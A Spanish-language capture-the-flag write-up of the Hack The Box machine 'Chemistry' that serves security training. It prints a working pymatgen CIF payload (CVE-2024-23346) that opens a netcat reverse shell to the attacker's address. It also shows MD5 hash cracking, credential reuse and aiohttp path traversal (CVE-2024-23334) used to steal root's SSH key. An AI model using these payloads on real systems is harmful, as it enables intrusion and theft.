Hack The Box: Chemistry Writeup | Easy

Table of Contents

Hack The Box: Chemistry Writeup

Welcome to my detailed writeup of the easy difficulty machine “Chemistry” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.201.7 --ulimit 5000 -g
210.129.201.7 -> [22,5000]
 1$ nmap -p22,5000 -sCV 10.129.201.7 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-21 15:24 CEST 
 3Nmap scan report for 10.129.201.7
 4Host is up (0.049s latency).
 5
 6PORT     STATE SERVICE VERSION
 722/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
10|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
11|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
125000/tcp open  upnp?
13| fingerprint-strings: 
14|   GetRequest: 
15|     HTTP/1.1 200 OK
16|     Server: Werkzeug/3.0.3 Python/3.9.5
17|     Date: Mon, 21 Oct 2024 11:25:03 GMT
18|     Content-Type: text/html; charset=utf-8
19|     Content-Length: 719
20|     Vary: Cookie
21|     Connection: close
22|     <!DOCTYPE html>
23|     <html lang="en">
24|     <head>
25|     <meta charset="UTF-8">
26|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
27|     <title>Chemistry - Home</title>
28|     <link rel="stylesheet" href="/static/styles.css">
29|     </head>
30|     <body>
31|     <div class="container">
32|     class="title">Chemistry CIF Analyzer</h1>
33|     <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
34|     <div class="buttons">
35|     <center><a href="/login" class="btn">Login</a>
36|     href="/register" class="btn">Register</a></center>
37|     </div>
38|     </div>
39|     </body>
40|   RTSPRequest: 
41|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
42|     "http://www.w3.org/TR/html4/strict.dtd">
43|     <html>
44|     <head>
45|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
46|     <title>Error response</title>
47|     </head>
48|     <body>
49|     <h1>Error response</h1>
50|     <p>Error code: 400</p>
51|     <p>Message: Bad request version ('RTSP/1.0').</p>
52|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
53|     </body>
54|_    </html>
551 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
56SF-Port5000-TCP:V=7.94SVN%I=7%D=10/21%Time=6716562C%P=x86_64-pc-linux-gnu%
57SF:r(GetRequest,38A,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3
58SF:\x20Python/3\.9\.5\r\nDate:\x20Mon,\x2021\x20Oct\x202024\x2011:25:03\x2
59SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
60SF:\x20719\r\nVary:\x20Cookie\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20
61SF:html>\n<html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=
62SF:\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"wid
63SF:th=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Chemi
64SF:stry\x20-\x20Home</title>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\
65SF:x20href=\"/static/styles\.css\">\n</head>\n<body>\n\x20\x20\x20\x20\n\x
66SF:20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<div\x20class
67SF:=\"container\">\n\x20\x20\x20\x20\x20\x20\x20\x20<h1\x20class=\"title\"
68SF:>Chemistry\x20CIF\x20Analyzer</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>
69SF:Welcome\x20to\x20the\x20Chemistry\x20CIF\x20Analyzer\.\x20This\x20tool\
70SF:x20allows\x20you\x20to\x20upload\x20a\x20CIF\x20\(Crystallographic\x20I
71SF:nformation\x20File\)\x20and\x20analyze\x20the\x20structural\x20data\x20
72SF:contained\x20within\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<div\x20clas
73SF:s=\"buttons\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<center
74SF:><a\x20href=\"/login\"\x20class=\"btn\">Login</a>\n\x20\x20\x20\x20\x20
75SF:\x20\x20\x20\x20\x20\x20\x20<a\x20href=\"/register\"\x20class=\"btn\">R
76SF:egister</a></center>\n\x20\x20\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\
77SF:x20\x20</div>\n</body>\n<")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUB
78SF:LIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x
79SF:20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x
80SF:20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Con
81SF:tent-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x
82SF:20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>
83SF:\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20
84SF:response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400
85SF:</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20
86SF:version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Er
87SF:ror\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20r
88SF:equest\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20
89SF:</body>\n</html>\n");
90Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
91
92Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
93# Nmap done at Mon Oct 21 15:26:34 2024 -- 1 IP address (1 host up) scanned in 102.65 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.201.7 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-21 15:26 CEST
 3Nmap scan report for 10.129.201.7
 4Host is up (0.051s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 721/udp    closed ftp
 816433/udp closed unknown
 924950/udp closed unknown
1025212/udp closed unknown
1127579/udp closed unknown
1234892/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.96 seconds

HTTP Enumeration (5000/TCP)

Lo único en claro del escaneo inicial es que nos enfrentamos contra un servidor web Flask (Werkzeug/3.0.3 Python/3.9.5)

whatweb no nos reporta nada que no sepamos.

1$ whatweb http://10.129.201.7:5000
2http://10.129.201.7:5000 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.9.5], IP[10.129.201.7], Python[3.9.5], Title[Chemistry - Home], Werkzeug[3.0.3]

Así se ve el sitio web. Write-up Image

Si creamos una cuenta tenemos una función para subir un archivo .cif Write-up Image

Antes de nada, podemos comprobar que la consola típica en Flask está desactivada. Write-up Image

Se nos proporciona un ejemplo de este archivo, tiene esta pinta.

 1data_Example                                                                              
 2_cell_length_a    10.00000                                                                
 3_cell_length_b    10.00000                                                                
 4_cell_length_c    10.00000                                                                
 5_cell_angle_alpha 90.00000
 6_cell_angle_beta  90.00000
 7_cell_angle_gamma 90.00000
 8_symmetry_space_group_name_H-M 'P 1'
 9loop_
10 _atom_site_label
11 _atom_site_fract_x
12 _atom_site_fract_y
13 _atom_site_fract_z
14 _atom_site_occupancy
15 H 0.00000 0.00000 0.00000 1
16 O 0.50000 0.50000 0.50000 1

Podemos subir este mismo archivo y vemos que podemos observarlo.

Write-up Image

Server-Side Request Forgery (CVE-2024-23346)

Los valores de este archivo parece ser que se están interpretando, podríamos probar a hacer un SSRF. Write-up Image

Vamos a editar uno de los valores. Write-up Image

Y al subir este archivo vemos un error 500. Write-up Image

Buscando por exploits de parseadores CIF en Python, encontré este artículo

Utilizando el PoC adjunto pero modificando el comando a ejecutar para mandarme una traza ICMP a mi máquina.

 1$ cat poc.cif 
 2data_5yOhtAoR
 3_audit_creation_date            2018-06-08
 4_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
 5
 6loop_
 7_parent_propagation_vector.id
 8_parent_propagation_vector.kxkykz
 9k1 [0 0 0]
10
11_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in
12().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" +
13"classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("ping -c 10.10.16.15");0,0,0'
14
15_space_group_magn.number_BNS  62.448
16_space_group_magn.name_BNS  "P  n'  m  a'  "

Podemos subirlo y cargarlo y seguimos con ese error 500. Según el artículo es normal, ya que la librería al intentar interpretar el archivo CIF lanza una excepción. Write-up Image

Pero no recibimos ninguna traza.

1$ sudo tcpdump -i tun0 icmp
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

Vamos a coger la línea donde se explota la vulnerabilidad de la función JonesFaithfulTransformation.from_transformation_str()

Que son las siguientes. Write-up Image

Y a partir del archivo de ejemplo que si lo interpreta correctamente, vamos a añadirlo.

 1data_Example
 2_cell_length_a    10.00000
 3_cell_length_b    10.00000
 4_cell_length_c    10.00000
 5_cell_angle_alpha 90.00000
 6_cell_angle_beta  90.00000
 7_cell_angle_gamma 90.00000
 8_symmetry_space_group_name_H-M 'P 1'
 9_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("ping -c 1 10.10.16.15");0,0,0'
10loop_
11 _atom_site_label
12 _atom_site_fract_x
13 _atom_site_fract_y
14 _atom_site_fract_z
15 _atom_site_occupancy
16 H 0.00000 0.00000 0.00000 1
17 O 0.50000 0.50000 0.50000 1
18_space_group_magn.number_BNS  62.448
19_space_group_magn.name_BNS  "P  n'  m  a'  "

Ahora si lo subimos y lo intentamos visualizar, vemos que si que nos llega la traza ICMP.

1$ sudo tcpdump -i tun0 icmp
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
415:57:01.643572 IP 10.129.201.7 > 10.10.16.15: ICMP echo request, id 2, seq 1, length 64
515:57:01.643599 IP 10.10.16.15 > 10.129.201.7: ICMP echo reply, id 2, seq 1, length 64

Seguimos viendo el error 500 pero eso era esperado, ahora vamos a ganar acceso a la máquina. Write-up Image

Editamos el archivo con el código malicioso para enviarnos una reverse shell.

 1$ cat example.cif 
 2data_Example
 3_cell_length_a    10.00000
 4_cell_length_b    10.00000
 5_cell_length_c    10.00000
 6_cell_angle_alpha 90.00000
 7_cell_angle_beta  90.00000
 8_cell_angle_gamma 90.00000
 9_symmetry_space_group_name_H-M 'P 1'
10_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("nc 10.10.16.15 443 -e /bin/bash");0,0,0'
11loop_
12 _atom_site_label
13 _atom_site_fract_x
14 _atom_site_fract_y
15 _atom_site_fract_z
16 _atom_site_occupancy
17 H 0.00000 0.00000 0.00000 1
18 O 0.50000 0.50000 0.50000 1
19_space_group_magn.number_BNS  62.448
20_space_group_magn.name_BNS  "P  n'  m  a'  "

No recibimos la reverse shell.

1$ sudo pwncat-cs -lp 443
2[16:00:49] Welcome to pwncat 🐈!                                           __main__.py:164
3bound to 0.0.0.0:443 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Después de probar varias reverse shell’s, la siguiente funcionó. Write-up Image

Este es exploit final.

 1$ cat example.cif 
 2data_Example
 3_cell_length_a    10.00000
 4_cell_length_b    10.00000
 5_cell_length_c    10.00000
 6_cell_angle_alpha 90.00000
 7_cell_angle_beta  90.00000
 8_cell_angle_gamma 90.00000
 9_symmetry_space_group_name_H-M 'P 1'
10_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("busybox nc 10.10.16.15 443 -e /bin/bash");0,0,0'
11loop_
12 _atom_site_label
13 _atom_site_fract_x
14 _atom_site_fract_y
15 _atom_site_fract_z
16 _atom_site_occupancy
17 H 0.00000 0.00000 0.00000 1
18 O 0.50000 0.50000 0.50000 1
19_space_group_magn.number_BNS  62.448
20_space_group_magn.name_BNS  "P  n'  m  a'  "

Y ganamos acceso como el usuario app

1[16:06:27] received connection from 10.129.201.7:52194                                                                        bind.py:84
2[16:06:29] 10.129.201.7:52194: registered new host w/ db                                                                  manager.py:957
3(local) pwncat$                                                                                                                         
4(remote) app@chemistry:/home/app$ id
5uid=1001(app) gid=1001(app) groups=1001(app)

User Pivoting

Leaking Database user hashes

Vemos que existe otro usuario llamado rosa

1(remote) app@chemistry:/home/app$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
4app:x:1001:1001:,,,:/home/app:/bin/bash

Analizando el archivo app.py vemos que se está utilizando SQLite y que el archivo se llama database.db Write-up Image

Podemos hacer una simple búsqueda con find para encontrar el archivo, y vemos la ruta.

1(remote) app@chemistry:/home/app/$ find / -type f -name database.db 2>/dev/null
2/home/app/instance/database.db

Haciendo uso de la función interna download de pwncat-cs vamos a descargarnos el archivo para indagar en nuestra máquina de atacante mas tranquilamente.

1(local) pwncat$ download /home/app/instance/database.db
2/home/app/instance/database.db ━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 20.5/20.5 kB • ? • 0:00:00
3[16:10:07] downloaded 20.48KiB in 0.61 seconds    

Vemos dos tablas, la que mas me llama la atención es la de usuarios.

1sqlite> .tables
2structure  user
 1sqlite> select * from user;
 21|admin|2861debaf8d99436a10ed6f75a252abf
 32|app|197865e46b878d9e74a0346b6d59886a
 43|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
 54|robert|02fcf7cfc10adc37959fb21f06c6b467
 65|jobert|3dec299e06f7ed187bac06bd3b670ab2
 76|carlos|9ad48828b0955513f7cf0f7f6510c8f8
 87|peter|6845c17d298d95aa942127bdad2ceb9b
 98|victoria|c3601ad2286a4293868ec2a4bc606ba3
109|tania|a4aa55e816205dc0389591c9f82f43bb
1110|eusebio|6cad48078d0241cca9a7b322ecd073b3
1211|gelacia|4af70c80b68267012ecdac9a7e916d18
1312|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
1413|axel|9347f9724ca083b17e39555c36fd9007
1514|kristel|6896ba7b11a62cacffbdaded457c6d92
1615|pointed|c416671d05d001fca2433d9855e3c905

Vemos un hash MD5 de rosa, vamos a intentar crackearlo, pero antes vamos a comprobar que es un hash MD5 íntegro y no se ha hecho ningún proceso antes.

Cracking MD5 Hash

Podemos revisar el código de app.py en la función de registro de usuario, y vemos que efectivamente es un simple MD5. Write-up Image

Y fácilmente conseguimos crackear el hash.

 1$ hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
 2hashcat (v6.2.6) starting
 3
 4OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
 5==================================================================================================================================================
 6* Device #1: pthread-haswell-AMD Ryzen 5 2600X Six-Core Processor, 2201/4467 MB (1024 MB allocatable), 4MCU
 7
 8Minimum password length supported by kernel: 0
 9Maximum password length supported by kernel: 256
10
11Hashes: 1 digests; 1 unique digests, 1 unique salts
12Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
13Rules: 1
14
15Optimizers applied:
16* Zero-Byte
17* Early-Skip
18* Not-Salted
19* Not-Iterated
20* Single-Hash
21* Single-Salt
22* Raw-Hash
23
24ATTENTION! Pure (unoptimized) backend kernels selected.
25Pure kernels can crack longer passwords, but drastically reduce performance.
26If you want to switch to optimized kernels, append -O to your commandline.
27See the above message to find out about the exact limits.
28
29Watchdog: Temperature abort trigger set to 90c
30
31Host memory required for this attack: 1 MB
32
33Dictionary cache hit:
34* Filename..: /usr/share/wordlists/rockyou.txt
35* Passwords.: 14344385
36* Bytes.....: 139921507
37* Keyspace..: 14344385
38
3963ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados        
40                                                          
41Session..........: hashcat
42Status...........: Cracked
43Hash.Mode........: 0 (MD5)
44Hash.Target......: 63ed86ee9f624c7b14f1d4f43dc251a5
45Time.Started.....: Mon Oct 21 16:13:47 2024 (1 sec)
46Time.Estimated...: Mon Oct 21 16:13:48 2024 (0 secs)
47Kernel.Feature...: Pure Kernel
48Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
49Guess.Queue......: 1/1 (100.00%)
50Speed.#1.........:  2649.0 kH/s (0.14ms) @ Accel:512 Loops:1 Thr:1 Vec:8
51Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
52Progress.........: 2983936/14344385 (20.80%)
53Rejected.........: 0/2983936 (0.00%)
54Restore.Point....: 2981888/14344385 (20.79%)
55Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
56Candidate.Engine.: Device Generator
57Candidates.#1....: unicornn -> underwear88
58Hardware.Mon.#1..: Util: 42%
59
60Started: Mon Oct 21 16:13:46 2024
61Stopped: Mon Oct 21 16:13:50 2024

Vemos la credencial unicorniosrosados, vamos a ver si el usuario rosa ha reutilizado credenciales.

Y vemos que sí.

 1$ sshpass -p 'unicorniosrosados' ssh rosa@10.129.201.7                                                                                                                                                                                                                  
 2Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)                                                                                                                                                                                                              
 3
 4 * Documentation:  https://help.ubuntu.com                          
 5 * Management:     https://landscape.canonical.com                                                                                      
 6 * Support:        https://ubuntu.com/pro                           
 7
 8 System information as of Mon 21 Oct 2024 12:14:48 PM UTC                                                                               
 9
10  System load:           0.0                                        
11  Usage of /:            73.9% of 5.08GB                            
12  Memory usage:          25%                                        
13  Swap usage:            0%                                         
14  Processes:             230                                        
15  Users logged in:       0                                          
16  IPv4 address for eth0: 10.129.201.7                               
17  IPv6 address for eth0: dead:beef::250:56ff:fe94:21ec                                                                                  
18
19
20Expanded Security Maintenance for Applications is not enabled.                                                                          
21
220 updates can be applied immediately.                               
23
249 additional security updates can be applied with ESM Apps.                                                                             
25Learn more about enabling ESM Apps service at https://ubuntu.com/esm                                                                    
26
27
28The list of available updates is more than a week old.                                                                                  
29To check for new updates run: sudo apt update                                                                                           
30
31Last login: Mon Oct 21 12:14:49 2024 from 10.10.16.15                                                                                   
32rosa@chemistry:~$ id                                                
33uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)    

Podemos leer la flag de usuario.

1rosa@chemistry:~$ cat user.txt 
2a0ceaf866aa6dfd3...

Privilege Escalation

Port Forwarding

Viendo los procesos del sistema con ps aux encontramos uno interesante, otra aplicación web pero esta el usuario propietario es root Write-up Image

No podemos acceder al código de la aplicación.

1rosa@chemistry:~$ cd /opt/monitoring_site/
2-bash: cd: /opt/monitoring_site/: Permission denied

Podemos descubrir el puerto en el que esta aplicación está hospedada y podemos suponer que está en el puerto 8080.

 1rosa@chemistry:~$ netstat -tulnp
 2(Not all processes could be identified, non-owned process info
 3 will not be shown, you would have to be root to see it all.)
 4Active Internet connections (only servers)
 5Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
 6tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -                   
 7tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
 8tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
 9tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
10tcp6       0      0 :::22                   :::*                    LISTEN      -                   
11udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
12udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                  

Vamos a cerrar la sesión SSH, para abrir otra pero esta vez haciendo Port Forwarding.

1$ sshpass -p 'unicorniosrosados' ssh -L 8081:127.0.0.1:8080 rosa@10.129.201.7

Voy a hospedar en mi puerto local 8081 (ya que por el 8080 tengo el burpsuite) lo que se encuentre en la máquina víctima por el puerto 8080.

Ahora podemos comprobar que esto ha funcionado accediendo a http://127.0.0.1:8081 Write-up Image

Enumerating Internal Web Application

El sitio web se ve bastante estático excepto por la función List Services

Write-up Image

Lanzando el whatweb vemos algo interesante.

1$ whatweb 127.0.0.1:8081
2http://127.0.0.1:8081 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Python/3.9 aiohttp/3.9.1], IP[127.0.0.1], JQuery[3.6.0], Script, Title[Site Monitoring]

Se está utilizando aiohttp/3.9.1, es decir, no es una aplicación Flask.

Directory Path Traversal (CVE-2024-23334)

aiohttp es una librería asíncrona en Python que facilita la creación de clientes y servidores HTTP. Está diseñada para manejar múltiples conexiones de manera eficiente utilizando el enfoque asíncrono de Python basado en asyncio.

Una simple búsqueda en Google nos revela que la versión está desactualizada, y que esta versión en específico tiene una vulnerabilidad de tipo Path Traversal, por lo cual quizás podamos leer archivos de root Write-up Image

También nos encontramos este artículo explicando la vulnerabilidad.

Volviendo al PoC, nos clonamos el repositorio.

1$ git clone https://github.com/z3rObyte/CVE-2024-23334-PoC
2Cloning into 'CVE-2024-23334-PoC'...
3remote: Enumerating objects: 22, done.
4remote: Counting objects: 100% (22/22), done.
5remote: Compressing objects: 100% (17/17), done.
6remote: Total 22 (delta 7), reused 0 (delta 0), pack-reused 0 (from 0)
7Receiving objects: 100% (22/22), 6.39 KiB | 6.39 MiB/s, done.
8Resolving deltas: 100% (7/7), done.

Leyendo el servidor de prueba vulnerable, vemos el siguiente código.

1async def main():
2    app = web.Application()
3    app.router.add_get('/', index)
4    app.router.add_static('/static/',
5                          path='static/',
6                          follow_symlinks=True)

Al parecer, necesitamos una ruta válida que exista en el servidor web vulnerable.

Fuzzeando rápidamente encontramos la ruta /assets

1$ feroxbuster -u http://127.0.0.1:8081 -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.
2txt -d 1 -t 100
3....
4404      GET        1l        3w       14c Auto-filtering found 404-like response and created new filter; toggle
5 off with --dont-filter
6200      GET        5l       83w    59344c http://127.0.0.1:8081/assets/css/all.min.css
7200      GET        2l     1294w    89501c http://127.0.0.1:8081/assets/js/jquery-3.6.0.min.js
8200      GET       88l      171w     1380c http://127.0.0.1:8081/assets/css/style.css
9200      GET       72l      171w     2491c http://127.0.0.1:8081/assets/js/script.js

Ahora vamos a realizar la explotación, modificamos el archivo exploit.sh

Modificamos las variables url y payload con la ruta encontrada de la siguiente forma. Write-up Image

Le damos permisos de ejecución, y al ejecutarlo vemos el contenido de /etc/passwd, por lo cual confirmamos que es vulnerable a Path Traversal.

 1$ ./exploit.sh 
 2[+] Testing with /assets/../etc/passwd
 3        Status code --> 404
 4[+] Testing with /assets/../../etc/passwd
 5        Status code --> 404
 6[+] Testing with /assets/../../../etc/passwd
 7        Status code --> 200
 8root:x:0:0:root:/root:/bin/bash
 9daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
10bin:x:2:2:bin:/bin:/usr/sbin/nologin
11sys:x:3:3:sys:/dev:/usr/sbin/nologin
12sync:x:4:65534:sync:/bin:/bin/sync
13games:x:5:60:games:/usr/games:/usr/sbin/nologin
14man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
15lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
16mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
17news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
18uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
19proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
20www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
21backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
22list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
23irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
24gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
25nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
26systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
27systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
28systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
29messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
30syslog:x:104:110::/home/syslog:/usr/sbin/nologin
31_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
32tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
33uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
34tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
35landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
36pollinate:x:110:1::/var/cache/pollinate:/bin/false
37fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
38usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
39sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
40systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
41rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
42lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
43app:x:1001:1001:,,,:/home/app:/bin/bash
44_laurel:x:997:997::/var/log/laurel:/bin/false

Podemos hacer esta explotación manualmente con burpsuite ya que los navegadores suelen regularizar las URL’s. Write-up Image

Podemos leer la flag, pero la gracia es pivotar al usuario root Write-up Image

Para ello, podemos ver que el usuario root tiene una clave privada, así que nos la vamos a copiar a un archivo id_rsa.root Write-up Image

Le damos los permisos necesarios.

1$ chmod 600 id_rsa.root 

Y ahora podemos conseguir una sesión SSH como root en la máquina víctima haciendo uso de esta clave privada.

 1$ ssh -i id_rsa.root root@10.129.201.7
 2Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
 3
 4 * Documentation:  https://help.ubuntu.com
 5 * Management:     https://landscape.canonical.com
 6 * Support:        https://ubuntu.com/pro
 7
 8 System information as of Mon 21 Oct 2024 12:36:44 PM UTC
 9
10  System load:           0.0
11  Usage of /:            74.1% of 5.08GB
12  Memory usage:          26%
13  Swap usage:            0%
14  Processes:             234
15  Users logged in:       1
16  IPv4 address for eth0: 10.129.201.7
17  IPv6 address for eth0: dead:beef::250:56ff:fe94:21ec
18
19
20Expanded Security Maintenance for Applications is not enabled.
21
220 updates can be applied immediately.
23
249 additional security updates can be applied with ESM Apps.
25Learn more about enabling ESM Apps service at https://ubuntu.com/esm
26
27
28The list of available updates is more than a week old.
29To check for new updates run: sudo apt update
30Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
31
32
33Last login: Fri Oct 11 14:06:59 2024
34root@chemistry:~# id
35uid=0(root) gid=0(root) groups=0(root)

Ahora sí, podemos leer la flag de root

1root@chemistry:~# cat root.txt 
2e41f817922987...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Chemistry   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Server Side Request Forgery   #SSRF   #CVE-2024-23346   #Information Disclosure   #Hash Cracking   #Cracking   #User Pivoting   #Port Forwarding   #Directory Path Traversal   #CVE-2024-23334